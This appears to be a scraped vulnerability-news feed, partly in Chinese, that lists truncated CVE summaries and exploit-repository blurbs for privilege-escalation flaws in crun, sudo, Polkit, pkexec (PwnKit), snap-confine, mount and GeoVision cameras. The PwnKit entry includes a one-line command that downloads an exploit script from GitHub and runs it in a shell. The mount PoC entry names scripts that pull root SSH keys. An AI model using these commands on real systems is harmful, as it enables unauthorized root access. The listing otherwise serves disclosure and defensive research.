CVE-2026-84042

crun is a lightweight OCI container runtime. This flaw affects builds that include libkrun with passt networking enabled (krun.use_passt). When a container is started rootful , crun can execute an attacker-controlled payload embedded in the container image with host root privileges , effectively ...

EUVD-2026-75321

A flaw was found in crun. When crun is built with libkrun and a container is started rootful with passt networking krun.usepasst, crun can execute attacker-controlled payload from the container image with host root privileges. The issue is a regression in crun 1.29. It affects crun = 1.29...

CVE-2026-84042 Crun: crun: rootful krun with passt executes container payload as host root

A flaw was found in crun. When crun is built with libkrun and a container is started rootful with passt networking krun.usepasst, crun can execute attacker-controlled payload from the container image with host root privileges. The issue is a regression in crun 1.29. It affects crun = 1.29...

CVE-2026-84042 Crun: crun: rootful krun with passt executes container payload as host root

A flaw was found in crun. When crun is built with libkrun and a container is started rootful with passt networking krun.usepasst, crun can execute attacker-controlled payload from the container image with host root privileges. The issue is a regression in crun 1.29. It affects crun = 1.29...

CVE-2026-88274

GeoVision GV-LPC2211 (V1.13), a wireless camera, is affected by a command injection vulnerability in its wireless SSID configuration. An administrator who sets a wireless SSID containing shell syntax can execute arbitrary commands as root on the device. The vulnerability requires high privileges ...

EUVD-2026-75305

GeoVision GV-LPC2211 V1.13 allows an administrator-controlled username containing shell metacharacters to be executed as arbitrary root commands when the stored username is later deleted...

CVE-2026-88271 GV-LPC2011/LPC2211 - SSVR Guest Configuration Overwrite and Administrative Credential Takeover

GeoVision GV-LPC2211 V1.13 allows a Guest user to overwrite device configuration and replace the administrator password through SSVR...

EUVD-2026-75304

GeoVision GV-LPC2211 V1.13 allows a Guest user to overwrite device configuration and replace the administrator password through SSVR...

CVE-2026-88271

GeoVision GV-LPC2211 V1.13 (and GV-LPC2011) is vulnerable to a Guest-level configuration overwrite via the SSVR service. A user with Guest privileges can overwrite the device configuration and replace the administrator password , effectively gaining full administrative control. The CNA-assigned C...

CVE-2026-84042

A flaw was found in crun. When crun is built with libkrun and a container is started rootful with passt networking krun.usepasst, crun can execute attacker-controlled payload from the container image with host root privileges. The issue is a regression in crun 1.29. It affects crun = 1.29...

CVE-2025-32462-

CVE-2025-32462 – Sudo主机名绕过权限提升 目录 1. 概述 2. 漏洞详情 3. 影响 4. 实验环境 5. 验证受影响版本 6. 用户与sudoers配置 7. 利用演练 8. 概念证明总结 9. 为什么Ubuntu不受影响 10. 缓解措施 11. MITRE ATT&CK映射 12. 参考 13. 免责声明 概述 CVE-2025-32462 是一个 sudo 中的本地权限提升漏洞 ，允许低权限用户通过滥用主机名受限的sudo规则 ，以 root 身份执行命令。问题在于 sudo 在授权检查中历史上对 -h（主机）选项的处理方式。...

CVE-2026-61910

A flaw was found in cyrus-imapd. An authenticated user with specific permissions on another user's mailbox could alter its special-use annotation. This manipulation might allow the user to change the shared mailbox's role, potentially causing unintended mail content to be written to it and shared...

CVE-2021-3560_Polkit

CVE-2021-3560 Polkit 本地权限提升 root@kitploit: .--. .-" "-. .--. / .. / .-. .-. / .. \ | | '| / Y \ |' | | | \ \ \ 0 | 0 / / / | \ '- ,.-" "-./, -' / '-' / ^ ^ \ '-' .--'| . ./ |'--. / \ \ / / \ / '. '---' .' \ / '---' \ / \ 一个针对影响 Linux 系统上 PolicyKit Polkit 的 CVE-2021-3560 漏洞的自动化利用工具。 ⚠️ 警告...

CVE-2026-80351 Apache Camel K: Camel K Tenant repositories reach Maven execution inside operator pod

Improper neutralization of directives in dynamically evaluated code 'eval injection' vulnerability in Apache Camel K. An improper neutralization of directives in dynamically evaluated Maven configuration allows tenant-controlled repository content to influence code execution within the operator...

PwnKit

PwnKit CVE-2021-4034 的自包含漏洞利用程序 - Pkexec 本地权限提升 用法 在基于 Ubuntu、Debian、Fedora 和 CentOS 的易受攻击的 Linux 发行版上应可开箱即用。 root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 手动使用 root@kitploit: curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o...

CVE-2023-22809

CVE-2023-22809 Youtube PoC：https://m.youtube.com/watch?v=b0UV7WgtKyI 该仓库包含针对 CVE-2023-22809 的漏洞利用代码。利用的前提是允许 sudo 用户通过 sudo -l 执行 sudoedit。 更多详细信息见 OpenWall 邮件列表。 关于 这是小组项目的一部分。 制作团队：iSIS...

CVE-2021-3156-Baron-Samedit

CVE-2021-3156 - "Baron Samedit" 实验与利用 该仓库提供了一个自包含的教学环境，用于理解和利用 CVE-2021-3156 ，这是 sudo 中一个基于堆的缓冲区溢出漏洞，允许任何非特权用户在受影响系统（sudo 版本低于 1.9.5p2）上获取 root 权限。 本材料仅用于授权的安全培训与研究 。 在未经授权的系统上使用本材料进行非道德操作是违法的。 仓库内容 Dockerfile - 构建带 sudo 1.8.31（含漏洞）的 Ubuntu 20.04 容器 exploit.c - 主要利用载荷（针对 Ubuntu 20.04 适配）...

CVE-2025-63945-Tencent-iOA-EoP

CVE-2025-63945 Tencent iOA 权限提升 版本：210.9.28693.62001 之前 摘要：我发现腾讯电脑管家存在一个漏洞，其中 C:\Windows\Temp 下的文件和目录处理不安全。攻击者可以利用符号链接（symlink）攻击，强制一个 SYSTEM 权限的进程删除任意文件，从而导致本地权限提升。具体来说，当使用“ioa”组件时，会定期启动一个名为 LegacyKBioawin.exe 的进程。在运行过程中，它会在 Temp 文件夹下创建 TencentDownload 目录，将文件下载至该目录中，然后以 SYSTEM...

CVE-2026-3888

CVE-2026-3888 - snap-confine + systemd-tmpfiles 本地权限提升 免责声明： 本仓库仅用于教育目的 。所有内容均基于 Qualys 于 2026 年 3 月 17 日发布的原始安全公告。该漏洞已被修复——请始终确保您的系统保持最新状态。请勿将本材料用于您不拥有或未经明确书面许可测试的系统。 概述 CVE-2026-3888 是一个影响 Ubuntu Desktop = 24.04 默认安装的本地权限提升（LPE）漏洞。该漏洞由 Qualys 于 2026 年 3 月发现并公开披露。 正如 Qualys...

CVE-2026-53613-poc

CVE-2026-53613 PoC mount8 中的 TOCTOU 漏洞，允许本地权限提升至 root。 受影响版本 util-linux 2.41.0 至 2.41.4 util-linux 2.42.0 至 2.42.1 漏洞利用 文件| 方法| 目标 ---|---|--- exploitshell.sh| SSH 密钥提取| /root exploitdirectshell.sh| 直接 shell| /bin 快速开始 root@kitploit: 方法 1：提取 SSH 密钥并以 root 身份 SSH 登录 bash exploitshell.sh 1000 方法 2：...